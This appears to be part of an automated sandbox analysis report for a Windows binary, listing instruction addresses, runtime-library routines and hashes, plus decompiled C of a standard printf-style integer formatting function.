0x0043c58b
0x0043c58e
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x0043c59e
0x0043c5a4
0x0043c5a4
0x0043c5aa
0x0043c627
0x0043c62d
0x0043c630
0x0043c633
0x0043c636
0x0043c639
0x0043c63f
0x0043c63f
0x0043c645
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x0043c67a
0x0043c67d
0x0043c67d
0x0043c680
0x0043c685
0x0043c685
0x0043c68a
0x0043c6a1
0x0043c6a1
0x0043c6a4
0x0043c6bb
0x0043c6bb
0x0043c6be
0x0043c6c0
0x0043c6c5
0x0043c6c9
0x0043c6c9
0x0043c6a6
0x0043c6a6
0x0043c6ab
0x0043c6af
0x0043c6af
0x0043c68c
0x0043c68c
0x0043c691
0x0043c695
0x0043c695
0x0043c68a
0x0043c6d3
0x0043c6d6
0x0043c6d9
0x0043c6e2
0x0043c6e2
0x0043c6e5
0x0043c6e7
0x0043c6ee
0x0043c6f2
0x0043c6fb
0x0043c700
0x0043c703
0x0043c70a
0x0043c70e
0x0043c712
0x0043c71e
0x0043c721
0x0043c721
0x0043c724
0x0043c729
0x0043c729
0x0043c72c
0x0043c72e
0x0043c735
0x0043c739
0x0043c742
0x0043c747
0x0043c72c
0x0043c74a
0x0043c74e
0x0043c808
0x0043c808
0x0043c80f
0x0043c813
0x0043c817
0x0043c81b
0x00000000
0x0043c754
0x0043c754
0x0043c754
0x0043c758
0x00000000
0x00000000
0x0043c75e
0x0043c75e
0x0043c761
0x0043c767
0x0043c76a
0x0043c770
0x0043c770
0x0043c770
0x0043c77c
0x0043c77f
0x0043c785
0x0043c787
0x00000000
0x00000000
0x0043c789
0x0043c789
0x0043c78c
0x0043c792
0x0043c79a
0x0043c79c
0x0043c7a3
0x0043c7aa
0x0043c7b9
0x0043c7bf
0x0043c7c6
0x0043c7d4
0x0043c7d4
0x0043c7db
0x0043c7e7
0x0043c7f5
0x0043c7fb
0x00000000
0x0043c7fb
0x0043c7c8
0x0043c7c8
0x00000000
0x0043c7c8
0x0043c806
0x0043c823
0x0043c823
0x0043c82a
0x0043c82f
0x0043c82f
0x0043c832
0x0043c834
0x0043c83b
0x0043c848
0x0043c84d
0x0043c832
0x0043c82a
0x0043c850
0x0043c850
0x0043c854
0x0043c858
0x0043c85c
0x0043c864
0x0043c864
0x0043c86b
0x0043c86b
0x0043b9eb
0x0043b9f2
0x0043b9ff
0x0043ba04
0x00000000
0x0043ba17
0x0043ba21
0x0043ba48
0x0043ba2f
0x0043ba40
0x0043ba40
0x0043ba21
0x0043ba52
0x0043ba58
0x0043ba64
0x0043ba67
0x0043ba75
0x0043ba78
0x0043ba85
0x0043bb2a
0x0043bb30
0x0043bb36
0x0043bb3d
0x00000000
0x00000000
0x0043bb43
0x0043bb49
0x00000000
0x0043bb50
0x0043bb50
0x0043bb6a
0x0043bb6f
0x00000000
0x00000000
0x0043bb77
0x0043bb77
0x0043bb7e
0x0043bb81
0x0043bb84
0x0043bb87
0x0043bb8a
0x0043bb8d
0x0043bb90
0x0043bb97
0x0043bb9e
0x00000000
0x00000000
0x0043bbaa
0x0043bbaa
0x0043bbb1
0x0043bbbd
0x0043bbc0
0x0043bbc6
0x0043bbcd
0x00000000
0x00000000
0x0043bbcf
0x0043bbd5
0x0043bbd5
0x0043bbdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc20
0x0043bc20
0x0043bc27
0x0043bc2a
0x0043bc54
0x0043bc57
0x0043bc57
0x0043bc61
0x0043bc61
0x0043bc65
0x0043bc2c
0x0043bc2c
0x0043bc38
0x0043bc3b
0x0043bc3f
0x0043bc41
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4a
0x0043bc4d
0x0043bc4f
0x0043bc4f
0x0043bc52
0x0043bc68
0x00000000
0x00000000
0x0043bc6d
0x0043bc6d
0x00000000
0x00000000
0x0043bc79
0x0043bc79
0x0043bc80
0x0043bc83
0x0043bca3
0x0043bca6
0x0043bca6
0x0043bcb0
0x0043bcb0
0x0043bcb4
0x0043bc85
0x0043bc85
0x0043bc91
0x0043bc94
0x0043bc98
0x0043bc9a
0x0043bc9a
0x0043bca1
0x00000000
0x00000000
0x0043bcbc
0x0043bcbc
0x0043bcc3
0x0043bccf
0x0043bcd2
0x0043bcd8
0x0043bcdf
0x0043bdf2
0x00000000
0x0043bdf2
0x0043bce5
0x0043bceb
0x0043bceb
0x0043bcf2
0x00000000
0x0043bd29
0x0043bd29
0x0043bd2c
0x0043bd2f
0x0043bd32
0x0043bd59
0x0043bd59
0x0043bd5c
0x0043bd5f
0x0043bd62
0x0043bd86
0x0043bd86
0x0043bd89
0x0043bd8c
0x0043bd8f
0x0043bdc8
0x0043bdd9
0x00000000
0x0043bdd9
0x0043bd91
0x0043bd91
0x0043bd94
0x0043bd97
0x0043bd9a
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bd9f
0x0043bda2
0x0043bda5
0x00000000
0x00000000
0x0043bda7
0x0043bda7
0x0043bdaa
0x0043bdad
0x0043bdb0
0x00000000
0x00000000
0x0043bdb2
0x0043bdb2
0x0043bdb5
0x0043bdb8
0x0043bdbb
0x00000000
0x00000000
0x0043bdbd
0x0043bdbd
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdca
0x00000000
0x0043bdca
0x00000000
0x0043bdc6
0x0043bd64
0x0043bd64
0x0043bd67
0x0043bd6b
0x0043bd6e
0x00000000
0x0043bd70
0x0043bd73
0x0043bd76
0x0043bd7c
0x0043bd81
0x00000000
0x0043bd81
0x0043bd6e
0x0043bd34
0x0043bd34
0x0043bd37
0x0043bd3b
0x0043bd3e
0x00000000
0x0043bd40
0x0043bd43
0x0043bd46
0x0043bd4c
0x0043bd51
0x00000000
0x0043bd51
0x00000000
0x0043bddb
0x0043bddb
0x0043bdde
0x0043bde1
0x00000000
0x00000000
0x0043bcf9
0x0043bcf9
0x0043bcfc
0x0043bcff
0x0043bd02
0x0043bd1b
0x0043bd1e
0x0043bd1e
0x0043bd21
0x0043bd04
0x0043bd04
0x0043bd07
0x0043bd0a
0x0043bd10
0x0043bd16
0x0043bd16
0x00000000
0x00000000
0x0043bde6
0x0043bde6
0x0043bde9
0x0043bde9
0x0043bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfe
0x0043be04
0x0043be0a
0x0043be0d
0x0043be13
0x0043be1a
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043be20
0x0043be26
0x0043be26
0x0043be2d
0x00000000
0x0043c1b1
0x0043c1b1
0x0043c1bf
0x0043c1bf
0x0043c1c2
0x00000000
0x00000000
0x0043be34
0x0043be37
0x0043be37
0x0043be3d
0x0043be3f
0x0043be42
0x0043be42
0x0043be45
0x0043be45
0x00000000
0x00000000
0x0043bf7a
0x0043bf7d
0x0043bf7d
0x0043bf82
0x0043bf84
0x0043bf87
0x0043bf87
0x0043bf8a
0x0043bf8a
0x00000000
0x00000000
0x0043c37d
0x0043c37d
0x00000000
0x00000000
0x0043bee4
0x0043bee4
0x0043bef0
0x0043bef6
0x0043befd
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf14
0x0043bf20
0x0043bf75
0x00000000
0x0043bf75
0x0043beff
0x0043beff
0x0043bf05
0x0043bf09
0x0043bf28
0x0043bf28
0x0043bf2e
0x0043bf56
0x0043bf5d
0x0043bf63
0x0043bf66
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf39
0x0043bf3c
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bf4a
0x0043bf4d
0x0043bf4d
0x00000000
0x0043bf2e
0x00000000
0x00000000
0x0043c1c9
0x0043c1cc
0x0043c1cf
0x0043c1d2
0x0043c1d8
0x0043c1db
0x0043c1e2
0x0043c1e6
0x0043c1f1
0x0043c1f1
0x0043c1f5
0x0043c20c
0x0043c20c
0x0043c213
0x0043c215
0x0043c215
0x0043c21c
0x0043c21c
0x0043c223
0x0043c231
0x0043c234
0x0043c243
0x0043c246
0x0043c24a
0x0043c25f
0x0043c24c
0x0043c24c
0x0043c24f
0x0043c255
0x0043c25a
0x0043c25a
0x0043c24a
0x0043c269
0x0043c26c
0x0043c26f
0x0043c272
0x0043c275
0x0043c278
0x0043c27e
0x0043c284
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29c
0x0043c29d
0x0043c2a0
0x0043c2a1
0x0043c2a4
0x0043c2a5
0x0043c2ab
0x0043c2ac
0x0043c2bb
0x0043c2bd
0x0043c2c3
0x0043c2c3
0x0043c2c8
0x0043c2ca
0x0043c2ce
0x0043c2d0
0x0043c2d8
0x0043c2d9
0x0043c2dc
0x0043c2dd
0x0043c2ec
0x0043c2ee
0x0043c2ee
0x0043c2ce
0x0043c2f1
0x0043c2f8
0x0043c2fb
0x0043c300
0x0043c300
0x0043c306
0x0043c308
0x0043c310
0x0043c311
0x0043c314
0x0043c315
0x0043c323
0x0043c325
0x0043c325
0x0043c306
0x0043c328
0x0043c32b
0x0043c32e
0x0043c331
0x0043c336
0x0043c33b
0x0043c33e
0x0043c341
0x0043c341
0x0043c344
0x0043c344
0x0043c347
0x0043c353
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c670
0x0043c1f7
0x0043c1f7
0x0043c1fe
0x0043c201
0x00000000
0x00000000
0x0043c203
0x0043c203
0x00000000
0x0043c203
0x0043c1e8
0x0043c1e8
0x00000000
0x00000000
0x0043be48
0x0043be48
0x0043be53
0x0043be5b
0x0043be62
0x0043be65
0x0043be65
0x0043be68
0x0043bec1
0x0043bec8
0x0043be6a
0x0043be71
0x0043be77
0x0043be7d
0x0043be84
0x0043be87
0x0043be8d
0x0043be95
0x0043be97
0x0043be9e
0x0043bea5
0x0043beac
0x0043beb4
0x0043beb6
0x0043beb8
0x0043beb8
0x0043bebf
0x0043becf
0x0043bed5
0x0043bed8
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c35b
0x0043c35e
0x0043c361
0x0043c364
0x00000000
0x00000000
0x0043c0ba
0x0043c0ba
0x0043c0c6
0x0043c0cc
0x0043c0d1
0x0043c0d3
0x0043c17d
0x0043c17d
0x0043c180
0x0043c180
0x0043c183
0x0043c197
0x0043c19d
0x0043c1a3
0x0043c185
0x0043c185
0x0043c18b
0x0043c192
0x0043c192
0x0043c1a5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043c0d9
0x0043c0d9
0x0043c0d9
0x0043c0db
0x0043c0e9
0x0043c0dd
0x0043c0dd
0x0043c0dd
0x0043c0f3
0x0043c0f9
0x0043c0ff
0x0043c106
0x0043c108
0x0043c10d
0x0043c10f
0x0043c114
0x0043c119
0x0043c11b
0x0043c120
0x0043c123
0x0043c126
0x0043c128
0x0043c128
0x0043c126
0x0043c129
0x0043c130
0x0043c178
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c132
0x0043c132
0x0043c137
0x0043c153
0x0043c15b
0x0043c165
0x0043c168
0x0043c16d
0x00000000
0x0043c16d
0x00000000
0x0043c3c4
0x0043c3c4
0x0043c3ce
0x0043c3ce
0x0043c3d4
0x0043c3d6
0x0043c3d9
0x0043c3d9
0x0043c3df
0x0043c3df
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf91
0x0043bf9f
0x0043bfa2
0x0043bf93
0x0043bf93
0x0043bf93
0x0043bfa8
0x0043bfae
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfc6
0x0043bfc9
0x0043c051
0x0043c051
0x0043c055
0x0043c057
0x0043c05d
0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c085
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c092
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043bffb
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00c
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c023
0x0043c02b
0x0043c02d
0x0043c02f
0x0043c035
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bfef
0x0043bff2
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x00000000
0x0043c36d
0x0043c36d
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc12
0x0043bc15
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c870
0x0043c877
0x0043c88e
0x0043c88e
0x0043c898
0x0043c898
0x0043c89e
0x0043c8a4
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8c8
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8ce
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c879
0x0043c879
0x0043c880
0x00000000
0x00000000
0x0043c882
0x0043c882
0x00000000
0x0043c882
0x0043c670
0x0043c647
0x0043c647
0x0043c64b
0x0043c658
0x0043c65b
0x0043c65e
0x0043c661
0x0043c664
0x0043c667
0x0043c66a
0x0043c66a
0x0043c66d
0x00000000
0x0043c66d
0x0043c64d
0x0043c64d
0x0043c650
0x0043c653
0x0043c656
0x00000000
0x00000000
0x00000000
0x0043c656
0x0043c5ac
0x0043c5ac
0x0043c5af
0x0043c5b2
0x0043c5b9
0x0043c5c0
0x0043c5c8
0x0043c5ce
0x0043c5d1
0x0043c5d4
0x0043c5db
0x0043c5e7
0x0043c5ed
0x0043c5f3
0x0043c5fa
0x0043c5fc
0x0043c602
0x0043c602
0x0043c608
0x0043c608
0x0043c60e
0x0043c617
0x0043c61c
0x0043c61f
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x00000000
0x0043c59c
0x0043c58e
0x0043c4cb
0x0043c4cb
0x0043c4d2
0x00000000
0x00000000
0x00000000
0x0043c500
0x0043c500
0x0043c506
0x0043c50c
0x0043c512
0x00000000
0x0043c512
0x0043c3e2
0x0043c393
0x0043c37d

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: d41dbd456d9fe3d78436cecc691a656e7b2a011e3834eaece265b0a072280ad9
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: 654119B1E101299FDB24CF58C881BAEB7B5FF89314F10519AD148B7241D738AE81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00427D4D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D4D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E004284A0(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E004284A0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E004284A0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E004284A0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E004284C0(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E004284C0(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004283D0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E00428410( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004283D0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E00428410( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E00434360(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E00428410( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004283D0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
